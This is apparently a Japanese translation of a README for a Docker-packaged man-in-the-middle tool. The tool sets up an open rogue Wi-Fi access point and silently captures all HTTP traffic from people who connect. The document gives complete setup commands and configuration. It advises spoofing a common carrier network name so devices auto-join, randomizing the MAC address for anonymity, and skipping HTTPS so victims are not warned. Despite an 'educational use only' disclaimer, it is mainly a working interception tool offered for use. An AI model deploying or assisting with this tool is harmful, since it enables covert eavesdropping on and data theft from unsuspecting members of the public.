
☠ dockerコンテナ内のMan-in-the-middle無線アクセスポイント 🐳
任意のLinuxコンピュータを、全てのHTTPトラフィックをサイレントに中間者攻撃する公衆Wi-Fiネットワークに変えます。hostapd、dnsmasq、mitmproxyを使用してDockerコンテナ内で動作し、"Public"という名前のオープンハニーポット無線ネットワークを作成します。さらに面白くするには、ネットワーク名を"xfinitywifi"に変更すると、それらのネットワークに接続したことのある人なら誰でも自動接続できます…それらはどこにでもあります。
免責事項: このソフトウェアは教育目的のみです。違法行為に使用してはなりません。作者はその使用について責任を負いません。バカなことをしないでください。
# リポジトリをクローン
git clone https://github.com/brannondorsey/mitm-router
cd mitm-router
# イメージをビルド(この手順は省略可能。docker hubリポジトリからプルする場合)
docker build . -t brannondorsey/mitm-router
以下を実行し、AP_IFACE と INTERNET_IFACE をそれぞれお使いの無線デバイスとインターネットに接続されたイーサネット/無線デバイスに置き換えてください。ネットワークデバイスの名前は ifconfig を実行して確認できます。
# コンテナを実行
docker run -it --net host --privileged \
-e AP_IFACE="wlan0" \
-e INTERNET_IFACE="eth0" \
-e SSID="Public" \
-v "$(pwd)/data:/root/data" \
brannondorsey/mitm-router
すべてうまくいけば、次のような出力が表示されるはずです:
Current MAC: a5:ae:f9:a4:b7:e3 (TP-LINK TECHNOLOGIES CO.,LTD.)
Permanent MAC: a5:ae:f9:a4:b7:e3 (TP-LINK TECHNOLOGIES CO.,LTD.)
New MAC: 00:d2:6b:d5:fe:bd (PHOTRON USA)
[ ok ] Starting system message bus: dbus.
[ ok ] Starting DNS forwarder and DHCP server: dnsmasq.
[ ok ] Starting advanced IEEE 802.11 management: hostapd.
Proxy server listening at http://0.0.0.0:1337
mitm-router はルーター 10.0.0.1:80 に送信された全ての HTTP トラフィックを透過的にキャプチャします。HTTPSトラフィック(ポート 443)は傍受しません。そうすると、中間者攻撃が行われている可能性をユーザーに警告してしまうからです。https:// で始まるURL間のトラフィックはキャプチャされません。
mitm-router/data/ フォルダーはDockerコンテナと共有されているため、ホストマシン上でコンテナが配置したキャプチャファイルを表示できます。デフォルトでは、mitmdump キャプチャファイルが mitm-router/data/http-traffic.cap にあります。
また、外出先での中間者攻撃のために、スマートフォンのホットスポットに INTERNET_IFACE を接続することもできます ;)
何か問題が発生した場合は、トラブルシューティングページを参照してください。
Dockerコンテナを停止してiptablesルーティングルールをリセットします。
# コンテナ名を取得
docker ps
# コンテナにアタッチ
docker stop <CONTAINER_NAME>
Proxy server listening at http://0.0.0.0:1337
[ ok ] Stopping DNS forwarder and DHCP server: dnsmasq.
[ ok ] Stopping advanced IEEE 802.11 management: hostapd.
[ ok ] Stopping system message bus: dbus.
received shutdown signal, exiting.
デフォルトでは、mitm-router は AP_IFACE のMACアドレスをランダム化してネットワークデバイスを匿名化します。これは環境変数 MAC="unchanged" で無効にできます。また、MAC="XX:XX:XX:XX:XX:XX" で AP_IFACE のMACアドレスを明示的に設定することもできます。
サポートされている環境変数とそのデフォルト値を以下に示します:
# アクセスポイントに使用される無線デバイス名
AP_IFACE="wlan0"
# ルーターの内部インターネット接続に使用されるデバイス名
# AP_IFACEからのパケットはこのデバイスに転送されます
INTERNET_IFACE="eth0"
# 無線ネットワーク名
SSID="Public"
# オプションのWPA2パスワード; 空のままにするとネットワークは公開されます
PASSWORD=""
# AP_IFACE MACアドレスのオプションのランダム化
# "XX:XX:XX:XX:XX:XX" のような特定の値に設定可能
# または "unchanged" でデバイスMACをそのままにします
MAC="random"
# コンテナ内のtcpdump出力ファイルの場所
CAPTURE_FILE="/root/data/http-traffic.cap"
# オプションのmitmproxyフィルター
# http://docs.mitmproxy.org/en/stable/features/filters.html を参照
FILTER=""
詳細についてはトラブルシューティングページを参照してください。
このアクセスポイントは隔離のためにDocker内で実行され、アクセスポイントで悪用可能な脆弱性があっても、攻撃者がお使いのコンピューターやホームネットワークにアクセスできないようにします。とはいえ、いくつか注意すべき点があります:
--net host はホストマシンからDockerコンテナにすべてのネットワークインターフェースと iptables エントリを共有します。脆弱なDockerコンテナがこれらのデバイスへのルートアクセスを持つ可能性があることを想定してください。--privileged モードで実行すると、Dockerコンテナに拡張権限が与えられます。ufw)を使用してすべてのポートの受信トラフィックをブロックし、"Public"ネットワーク上のコンピューターがマシンの公開サービスにアクセスできないようにしてください。セキュリティを高めるために、私はこのDockerコンテナをRaspberry Piのような専用のコンピュータで実行することを好みます。
このコードは simonschuang's rpi-hostapd のハードフォークとして始まりました。中間者攻撃の目的のためにコードは大幅に変更されています。